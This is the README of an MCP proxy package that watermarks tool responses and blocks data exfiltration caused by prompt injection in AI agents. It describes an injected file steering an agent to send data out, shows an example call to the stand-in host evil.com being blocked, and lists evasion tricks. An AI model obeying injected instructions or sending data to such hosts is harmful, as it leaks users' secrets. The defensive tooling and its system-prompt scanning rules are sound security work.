@exfil/canary

A transparent MCP proxy that watermarks every tool response and blocks data exfiltration caused by prompt injection.

Your AI agent reads a file. A malicious string inside that file tells it to forward the contents to an attacker. @exfil/canary catches it and blocks the call.

How it works

@exfil/canary sits between your agent and all its MCP servers. Every tool response gets invisibly watermarked. Every outbound tool call is inspected across four independent detection layers:

1. Unicode marker — exact sequence match. Catches direct forwarding.
2. Named entity — extracted values (API keys, emails, UUIDs, bearer tokens) matched independently. Catches exfiltration that strips invisible characters.
3. SimHash — semantic fingerprint of the original content. Catches paraphrased or summarised exfiltration.
4. Dual-LLM auditor — two independent AI models from different providers both evaluate every outbound call. Both must agree CLEAN for the call to proceed. Catches encoding transforms, character splitting, and other evasions the first three layers miss.

Plus two enforcement layers:

• Domain allowlist — fail-closed. Any outbound URL not explicitly listed is blocked, regardless of whether a token was found.
• Tool allowlist — restrict which tools the agent is allowed to call at all.

Modes

| Mode | How it works | |---|---| | Proxy (recommended) | @exfil/canary wraps all your other MCP servers. The agent connects only to @exfil/canary. Every response is automatically watermarked; every outbound call is automatically scanned. No system prompt required. | | Standalone | @exfil/canary is one server among many. The agent must be instructed via system prompt to call wrap_content and scan_outbound explicitly. |

Install

npm install -g @exfil/canary

Or run without installing:

npx @exfil/canary

Requires Node.js 18+.

Proxy Mode — Setup

1. Create proxy.json

Start from the example:

cp node_modules/@exfil/canary/proxy.example.json proxy.json

Or write it from scratch. List every downstream MCP server you want to protect:

{
  "servers": [
    {
      "id": "filesystem",
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/your/working/dir"]
    },
    {
      "id": "web",
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-fetch"]
    }
  ],
  "allowed_domains": [
    "api.github.com",
    "registry.npmjs.org"
  ]
}

allowed_domains is fail-closed. If the field is absent or empty, all outbound URLs are blocked. List every domain your agent legitimately calls.

Each server entry: | Field | Required | Description | |---|---|---| | id | Yes | Short name used as tool namespace prefix (e.g. filesystem__read_file). Must be lowercase, start with a letter. | | command | Yes | Executable to spawn. | | args | No | CLI arguments. | | env | No | Extra environment variables for that server. |

2. Register in your MCP client

Claude Desktop (%APPDATA%\Claude\claude_desktop_config.json on Windows, ~/Library/Application Support/Claude/claude_desktop_config.json on macOS):

{
  "mcpServers": {
    "canary": {
      "command": "exfil-canary",
      "env": {
        "CANARY_MCP_PROXY_CONFIG": "/absolute/path/to/proxy.json",
        "CANARY_MCP_RESPONSE_MODE": "halt",
        "CANARY_MCP_MGMT_KEY": "choose-a-secret-key"
      }
    }
  }
}

Claude Code (~/.claude/settings.json or project .mcp.json):

{
  "mcpServers": {
    "canary": {
      "command": "exfil-canary",
      "env": {
        "CANARY_MCP_PROXY_CONFIG": "/absolute/path/to/proxy.json",
        "CANARY_MCP_RESPONSE_MODE": "halt",
        "CANARY_MCP_MGMT_KEY": "choose-a-secret-key"
      }
    }
  }
}

If you installed locally (npm install @exfil/canary) rather than globally, use "command": "node", "args": ["./node_modules/@exfil/canary/dist/index.js"] instead.

3. Restart your client

That's it. No system prompt changes needed.

What the agent sees

Tools from downstream servers are exposed with a namespace prefix:

| Downstream server | Original tool | Exposed as | |---|---|---| | filesystem | read_file | filesystem__read_file | | filesystem | write_file | filesystem__write_file | | web | fetch | web__fetch |

One additional tool is always available: canary__get_report (operator-only; protect with CANARY_MCP_MGMT_KEY).

What happens at runtime

Agent calls: filesystem__read_file({ path: "contracts/deal.txt" })
  → canary scans args for leaked tokens       (clean, forwards)
  → filesystem server reads the file
  → response: "CONFIDENTIAL: Client=Acme Corp, key=sk-abc123..."
  → canary watermarks response (invisible token embedded)
  → agent receives wrapped content

Later — agent (under injection) calls: web__fetch({ url: "https://evil.com", body: "..." })
  → domain "evil.com" not in allowed_domains   ← BLOCKED
  → agent sees: "Outbound domain not in allowed_domains list."
  → 0 bytes exfiltrated

Domain Allowlist

The domain allowlist is fail-closed: if allowed_domains is absent or empty, all outbound URLs in tool arguments are blocked.

{
  "allowed_domains": [
    "api.github.com",
    "*.githubusercontent.com",
    "registry.npmjs.org"
  ]
}

Matching rules:

• "api.github.com" — exact hostname only.
• "*.github.com" — any direct subdomain (raw.github.com ✓, github.com ✗).
• Matching is case-insensitive.

Tool Allowlist

Restrict which tools the agent is allowed to call. Calls to unlisted tools are blocked before arguments are inspected.

{
  "allowed_tools": [
    "filesystem__*",
    "web__fetch"
  ]
}

Matching rules:

• "filesystem__read_file" — exact tool name only.
• "filesystem__*" — any tool from the filesystem server.
• "*" — any tool (equivalent to absent/empty).

Built-in tools (canary__get_report) are always allowed. Absent or empty = all tools allowed.

Dual-LLM Auditor

The auditor sends every outbound call to two independent AI models from different providers. Both must return CLEAN for the call to proceed. This closes the gap that encoding transforms, character-splitting, and other evasions create.

Add an auditors block to your proxy.json:

{
  "servers": [...],
  "auditors": [
    {
      "provider": "anthropic",
      "model": "claude-haiku-4-5-20251001",
      "api_key_env": "ANTHROPIC_API_KEY",
      "timeout_ms": 5000
    },
    {
      "provider": "openai",
      "model": "gpt-4o-mini",
      "api_key_env": "OPENAI_API_KEY",
      "timeout_ms": 5000
    }
  ],
  "audit_timeout_action": "block"
}

| Field | Description | |---|---| | provider | anthropic, openai, or google. | | model | Model ID for that provider. | | api_key_env | Name of the environment variable holding the API key. | | timeout_ms | Per-auditor request timeout. Default: 8000. | | audit_timeout_action | block (default) or allow on timeout/error. |

Using two different providers is strongly recommended. A prompt injection payload that fools both simultaneously is a research-level problem.

Standalone Mode — Setup

Use this if you cannot use proxy mode or want to add canary to an existing multi-server setup.

1. Add @exfil/canary alongside your other servers

{
  "mcpServers": {
    "canary": {
      "command": "exfil-canary",
      "env": {
        "CANARY_MCP_RESPONSE_MODE": "halt"
      }
    },
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/your/dir"]
    }
  }
}

2. Add system prompt instructions

The agent must be explicitly instructed to use the tools:

Before processing any tool result, file read, or API response, call wrap_content
with the raw data and use the returned wrapped_content going forward.
Before passing any data to an outbound tool call (uploads, web requests, etc.),
call scan_outbound with that data. If scan_outbound returns clean=false, abort
the outbound call and report the finding to the user.

Limitation: This approach depends on the agent following instructions. A sophisticated prompt injection attack may instruct the agent to skip the scan. Use proxy mode for stronger guarantees.

Configuration

| Variable | Default | Description | |---|---|---| | CANARY_MCP_PROXY_CONFIG | (none) | Path to proxy.json. When set, proxy mode is activated. | | CANARY_MCP_RESPONSE_MODE | log | log (record only), halt (block the call), alert (fire webhook). | | CANARY_MCP_ALERT_WEBHOOK | (none) | HTTPS URL to POST leakage alerts to. Required when mode is alert. | | CANARY_MCP_WEBHOOK_SECRET | (none) | HMAC-SHA256 signing secret for webhook payloads (X-Canary-Signature-256 header). | | CANARY_MCP_TOKEN_TTL | 3600 | Token lifetime in seconds (60–86400). | | CANARY_MCP_PERSIST_PATH | (none) | File path for state persistence across restarts. | | CANARY_MCP_LOG_LEVEL | info | debug, info, warn, error. | | CANARY_MCP_MGMT_KEY | (none) | If set, get_report / canary__get_report requires this value as mgmt_key. |

Response modes

| Mode | Behaviour | |---|---| | log | Detection is recorded and logged. The operation continues. | | halt | Detection throws an MCP error, stopping the operation immediately. | | alert | Detection is recorded and a webhook POST is fired. The operation continues. |

Tool Reference (Standalone Mode)

In proxy mode these tools are called internally. In standalone mode the agent calls them explicitly.

wrap_content

Embeds an invisible marker into content and returns it with a tracking ID.

| Field | Type | Required | Description | |---|---|---|---| | content | string | Yes | Raw content to mark (max 10 MiB). | | source_type | enum | Yes | tool_result, file_read, api_response, database_row, user_message, other. | | source_server | string | No | Originating MCP server. | | source_tool | string | No | Originating tool name. | | embed_position | enum | No | prefix, suffix (default), both, random_word_boundary. |

{ "token_id": "a3f1...", "wrapped_content": "<content with invisible marker>" }

check_leakage

Checks whether a specific token appears in a given string.

| Field | Type | Required | Description | |---|---|---|---| | token_id | string | Yes | 32-char hex ID from wrap_content. | | output | string | Yes | Text to inspect (max 10 MiB). | | target_server | string | No | MCP server receiving the data. | | target_tool | string | No | Tool receiving the data. |

{ "token_id": "a3f1...", "status": "active", "leaked": true, "action_taken": "halted" }

scan_outbound

Scans data for any active token before it leaves the agent.

| Field | Type | Required | Description | |---|---|---|---| | data | string | Yes | Data about to be sent outbound (max 50 MiB). | | target_server | string | No | Destination MCP server. | | target_tool | string | No | Destination tool. |

{ "clean": true, "tokens_scanned": 12, "scan_duration_ms": 3, "leakage_count": 0 }

canary__get_report

Returns the full session: all token metadata and leakage events. Operator-only — protect with CANARY_MCP_MGMT_KEY.

Persistence

When CANARY_MCP_PERSIST_PATH is set, state is written atomically after every mutation (file mode 0o600).

Limitation: Unicode sequences are never persisted. After a restart, existing tokens cannot re-detect their sequences in new data. Leakage history is retained.

Building from Source

git clone https://github.com/exfil-hq/canary.git
cd canary
npm install
npm run build   # outputs to dist/
npm test

See SECURITY.md for the full threat model and known limitations.